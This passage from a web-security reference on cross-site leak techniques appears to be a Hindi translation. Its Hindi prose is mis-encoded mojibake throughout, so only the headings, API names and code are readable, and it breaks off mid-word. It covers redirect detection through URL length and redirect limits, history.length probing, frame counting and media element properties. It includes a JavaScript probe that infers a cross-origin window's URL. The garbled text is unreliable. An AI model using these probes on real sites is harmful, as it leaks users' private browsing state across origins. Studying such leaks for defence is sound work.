рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ URL рдХрд╛ рдЙрддреНрддрд░ рдПрдХ рдорд╛рдорд▓реЗ рдореЗрдВ рдмрдбрд╝рд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ 2MB рд╕реЗ рдмрдбрд╝рд╛ URL рдХреЗ рд╕рд╛рде рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ рддрд╛рдХрд┐ рд▓рдВрдмрд╛рдИ рд╕реАрдорд╛ рдХреЛ рд╣рд┐рдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдЬрдм рдРрд╕рд╛ рд╣реЛрддрд╛ рд╣реИ, рддреЛ Chrome рдПрдХ about:blank#blocked рдкреГрд╖реНрда рджрд┐рдЦрд╛рддрд╛ рд╣реИред

рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рднрд┐рдиреНрдирддрд╛ рдпрд╣ рд╣реИ рдХрд┐ рдпрджрд┐ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдкреВрд░реНрдг рдерд╛, рддреЛ window.origin рдПрдХ рддреНрд░реБрдЯрд┐ рдлреЗрдВрдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдПрдХ рдХреНрд░реЙрд╕ рдУрд░рд┐рдЬрд┐рди рдЙрд╕ рдЬрд╛рдирдХрд╛рд░реА рддрдХ рдкрд╣реБрдВрдЪ рдирд╣реАрдВ рд╕рдХрддрд╛ред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрджрд┐ рд╕реАрдорд╛ рд╣рд┐рдЯ рдХреА рдЧрдИ рдереА рдФрд░ рд▓реЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ рдкреГрд╖реНрда about:blank#blocked рдерд╛, рддреЛ рд╡рд┐рдВрдбреЛ рдХрд╛ origin рдореВрд▓ рдХреЗ рд░реВрдк рдореЗрдВ рдмрдирд╛ рд░рд╣рддрд╛ рд╣реИ, рдЬреЛ рдПрдХ рдкрд╣реБрдВрдЪ рдпреЛрдЧреНрдп рдЬрд╛рдирдХрд╛рд░реА рд╣реИред

2MB рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╕рднреА рдЕрддрд┐рд░рд┐рдХреНрдд рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдкреНрд░рд╛рд░рдВрднрд┐рдХ URL рдореЗрдВ рдПрдХ рд╣реИрд╢ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЬреЛрдбрд╝рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЗрд╕реЗ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред

Max Redirects

рдпрджрд┐ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд╕рд░рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХрддрдо рд╕рдВрдЦреНрдпрд╛ 20 рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рд╣реИ, рддреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ 19 рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рд╕рд╛рде рдЕрдкрдиреЗ рдкреГрд╖реНрда рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЕрдВрддрддрдГ рдкреАрдбрд╝рд┐рдд рдХреЛ рдкрд░реАрдХреНрд╖рдг рдХрд┐рдП рдЧрдП рдкреГрд╖реНрда рдкрд░ рднреЗрдЬ рд╕рдХрддрд╛ рд╣реИред рдпрджрд┐ рдПрдХ рддреНрд░реБрдЯрд┐ рдЯреНрд░рд┐рдЧрд░ рд╣реЛрддреА рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдкреГрд╖реНрда рдкреАрдбрд╝рд┐рдд рдХреЛ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣рд╛ рдерд╛ред

History Length

  • Inclusion Methods: Frames, Pop-ups

  • Detectable Difference: Redirects

  • Summary: JavaScript рдХреЛрдб рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдЗрддрд┐рд╣рд╛рд╕ рдореЗрдВ рд╣реЗрд░рдлреЗрд░ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рд▓рдВрдмрд╛рдИ рдкреНрд░реЙрдкрд░реНрдЯреА рджреНрд╡рд╛рд░рд╛ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

History API JavaScript рдХреЛрдб рдХреЛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдЗрддрд┐рд╣рд╛рд╕ рдореЗрдВ рд╣реЗрд░рдлреЗрд░ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рджреЗрдЦреЗ рдЧрдП рдкреГрд╖реНрдареЛрдВ рдХреЛ рд╕рд╣реЗрдЬрддрд╛ рд╣реИред рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рд▓рдВрдмрд╛рдИ рдкреНрд░реЙрдкрд░реНрдЯреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдПрдХ рд╕рдорд╛рд╡реЗрд╢рди рд╡рд┐рдзрд┐ рдХреЗ рд░реВрдк рдореЗрдВ: JavaScript рдФрд░ HTML рдиреЗрд╡рд┐рдЧреЗрд╢рди рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдПред history.length рдХреА рдЬрд╛рдВрдЪ рдХрд░рдирд╛, рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдПрдХ рдкреГрд╖реНрда рдкрд░ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣рдирд╛, рдЗрд╕реЗ рд╡рд╛рдкрд╕ рдмрджрд▓рдирд╛ рдЙрд╕реА рдореВрд▓ рдкрд░ рдФрд░ history.length рдХреЗ рдирдП рдорд╛рди рдХреА рдЬрд╛рдВрдЪ рдХрд░рдирд╛ред

History Length with same URL

  • Inclusion Methods: Frames, Pop-ups

  • Detectable Difference: рдпрджрд┐ URL рдЕрдиреБрдорд╛рдирд┐рдд рдПрдХ рдХреЗ рд╕рдорд╛рди рд╣реИ

  • Summary: рдпрд╣ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдПрдХ рдлреНрд░реЗрдо/рдкреЙрдкрдЕрдк рдХрд╛ рд╕реНрдерд╛рди рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ URL рдореЗрдВ рд╣реИ рдЗрддрд┐рд╣рд╛рд╕ рд▓рдВрдмрд╛рдИ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗред

  • Code Example: рдиреАрдЪреЗ

рдПрдХ рд╣рдорд▓рд╛рд╡рд░ JavaScript рдХреЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдлреНрд░реЗрдо/рдкреЙрдк-рдЕрдк рд╕реНрдерд╛рди рдХреЛ рдЕрдиреБрдорд╛рдирд┐рдд рдПрдХ рдкрд░ рд╣реЗрд░рдлреЗрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рддреБрд░рдВрдд about:blank рдкрд░ рдмрджрд▓ рд╕рдХрддрд╛ рд╣реИред рдпрджрд┐ рдЗрддрд┐рд╣рд╛рд╕ рд▓рдВрдмрд╛рдИ рдмрдврд╝ рдЧрдИ рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ URL рд╕рд╣реА рдерд╛ рдФрд░ рдЗрд╕реЗ рдмрдврд╝рдиреЗ рдХрд╛ рд╕рдордп рдорд┐рд▓рд╛ рдХреНрдпреЛрдВрдХрд┐ URL рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓реЛрдб рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдпрджрд┐ рдпрд╣ рд╡рд╣реА рд╣реИред рдпрджрд┐ рдпрд╣ рдирд╣реАрдВ рдмрдврд╝рд╛, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдпрд╣ рдЕрдиреБрдорд╛рдирд┐рдд URL рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣рд╛ рдерд╛ рд▓реЗрдХрд┐рди рдХреНрдпреЛрдВрдХрд┐ рд╣рдо рддреБрд░рдВрдд рдмрд╛рдж about:blank рд▓реЛрдб рдХрд░рддреЗ рд╣реИрдВ, рдЗрддрд┐рд╣рд╛рд╕ рд▓рдВрдмрд╛рдИ рдХрднреА рдирд╣реАрдВ рдмрдврд╝реА рдЬрдм рдЕрдиреБрдорд╛рдирд┐рдд URL рд▓реЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ред

async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Frame Counting

  • Inclusion Methods: Frames, Pop-ups

  • Detectable Difference: Page Content

  • Summary: window.length рдкреНрд░реЙрдкрд░реНрдЯреА рдХреА рдЬрд╛рдВрдЪ рдХрд░рдХреЗ iframe рддрддреНрд╡реЛрдВ рдХреА рдорд╛рддреНрд░рд╛ рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд░реЗрдВред

iframe рдпрд╛ window.open рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЦреЛрд▓реЗ рдЧрдП рд╡реЗрдм рдореЗрдВ рдлреНрд░реЗрдо рдХреА рд╕рдВрдЦреНрдпрд╛ рдХреА рдЧрдгрдирд╛ рдХрд░рдирд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рд╕реНрдерд┐рддрд┐ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрджрд┐ рдкреГрд╖реНрда рдореЗрдВ рд╣рдореЗрд╢рд╛ рд╕рдорд╛рди рд╕рдВрдЦреНрдпрд╛ рдореЗрдВ рдлреНрд░реЗрдо рд╣реЛрддреЗ рд╣реИрдВ, рддреЛ рдлреНрд░реЗрдо рдХреА рд╕рдВрдЦреНрдпрд╛ рдХреА рдирд┐рд░рдВрддрд░ рдЬрд╛рдВрдЪ рдХрд░рдирд╛ рдПрдХ рдкреИрдЯрд░реНрди рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдЬрд╛рдирдХрд╛рд░реА рд▓реАрдХ рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдпрд╣ рд╣реИ рдХрд┐ рдХреНрд░реЛрдо рдореЗрдВ, рдПрдХ PDF рдХреЛ рдлреНрд░реЗрдо рдЧрд┐рдирддреА рдХреЗ рд╕рд╛рде рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЖрдВрддрд░рд┐рдХ рд░реВрдк рд╕реЗ embed рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдХреБрдЫ рдХрдВрдЯреЗрдВрдЯ рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рд╡рд╛рд▓реЗ Open URL Parameters рд╣реИрдВ рдЬреИрд╕реЗ zoom, view, page, toolbar рдЬрд╣рд╛рдВ рдпрд╣ рддрдХрдиреАрдХ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛ рд╕рдХрддреА рд╣реИред

HTMLElements

HTML рддрддреНрд╡реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рд▓реАрдХ рд╡реЗрдм рд╕реБрд░рдХреНрд╖рд╛ рдореЗрдВ рдПрдХ рдЪрд┐рдВрддрд╛ рдХрд╛ рд╡рд┐рд╖рдп рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЬрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЧрддрд┐рд╢реАрд▓ рдореАрдбрд┐рдпрд╛ рдлрд╝рд╛рдЗрд▓реЗрдВ рдЙрддреНрдкрдиреНрди рдХреА рдЬрд╛рддреА рд╣реИрдВ, рдпрд╛ рдЬрдм рд╡реЙрдЯрд░рдорд╛рд░реНрдХ рдЬреЛрдбрд╝реЗ рдЬрд╛рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдореАрдбрд┐рдпрд╛ рдХрд╛ рдЖрдХрд╛рд░ рдмрджрд▓рддрд╛ рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдХреЗ рд╕рдВрднрд╛рд╡рд┐рдд рд░рд╛рдЬреНрдпреЛрдВ рдХреЗ рдмреАрдЪ рднреЗрдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕рдХрд╛ рд▓рд╛рдн рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВред

Information Exposed by HTML Elements

  • HTMLMediaElement: рдпрд╣ рддрддреНрд╡ рдореАрдбрд┐рдпрд╛ рдХреА duration рдФрд░ buffered рд╕рдордп рдХреЛ рдкреНрд░рдХрдЯ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдЗрд╕рдХреЗ API рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред HTMLMediaElement рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдкрдврд╝реЗрдВ

  • HTMLVideoElement: рдпрд╣ videoHeight рдФрд░ videoWidth рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИред рдХреБрдЫ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдореЗрдВ, webkitVideoDecodedByteCount, webkitAudioDecodedByteCount, рдФрд░ webkitDecodedFrameCount рдЬреИрд╕реЗ рдЕрддрд┐рд░рд┐рдХреНрдд рдкреНрд░реЙрдкрд░реНрдЯреАрдЬ рдЙрдкрд▓рдмреНрдз рд╣реИрдВ, рдЬреЛ рдореАрдбрд┐рдпрд╛ рд╕рд╛рдордЧреНрд░реА рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЧрд╣рди рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВред HTMLVideoElement рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдкрдврд╝реЗрдВ

  • getVideoPlaybackQuality(): рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рд╡реАрдбрд┐рдпреЛ рдкреНрд▓реЗрдмреИрдХ рдЧреБрдгрд╡рддреНрддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╡рд┐рд╡рд░рдг рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ totalVideoFrames рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬреЛ рд╡реАрдбрд┐рдпреЛ рдбреЗрдЯрд╛ рдХреА рдорд╛рддреНрд░рд╛ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред getVideoPlaybackQuality() рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдкрдврд╝реЗрдВ

  • HTMLImageElement<